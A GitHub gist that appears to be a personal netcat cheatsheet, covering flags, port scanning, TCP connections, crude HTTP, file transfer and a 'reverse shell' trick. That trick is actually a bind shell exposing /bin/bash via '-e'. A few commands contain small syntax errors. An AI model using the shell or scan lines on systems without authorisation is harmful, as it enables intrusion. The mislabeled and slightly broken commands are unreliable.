Skip to content

Instantly share code, notes, and snippets.

@dagrons
Created July 10, 2021 08:14
Show Gist options
  • Save dagrons/fd4c67f7c9f694c1ea6114dfc397c9bf to your computer and use it in GitHub Desktop.
Save dagrons/fd4c67f7c9f694c1ea6114dfc397c9bf to your computer and use it in GitHub Desktop.
nc/netcat cheatsheet

flags

nc [options] [host] [port] – by default this will execute a port scan
nc -l [host] [port] – initiates a listener on the given port
nc -4 – use IPv4 only
nc -6 – use IPv6
nc -u – use UDP instead of TCP
nc -k -l – continue listening after disconnection
nc -n – skip DNS lookups
nc -v – provide verbose outpu

port scan

nc -v -v <site|ip> <port_range:1-1000>

tcp

nc -l -p <port> # listen on <port>
nc <ip> <port> # connect to <ip>:<port>

http

printf "HTTP/1.1 200 OK\n\n%s"$(cat index.html)| netcat -l <port> # response
printf "GET /HTTP/1.0\r\n\r\n" | nc <site|ip> <port> # request

tricks

  1. launch reverse shell
nc -nv -l -p <port> -e /bin/bash # listen 
nc -nv <ip> <port> # connect 
  1. file transfer
nc -l -p <port> < file.txt # send 
nc <ip> <port> > file.txt # receive
# or
nc -l -p <port> > file.txt # receive
nc <ip> <port> < file.txt # send 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment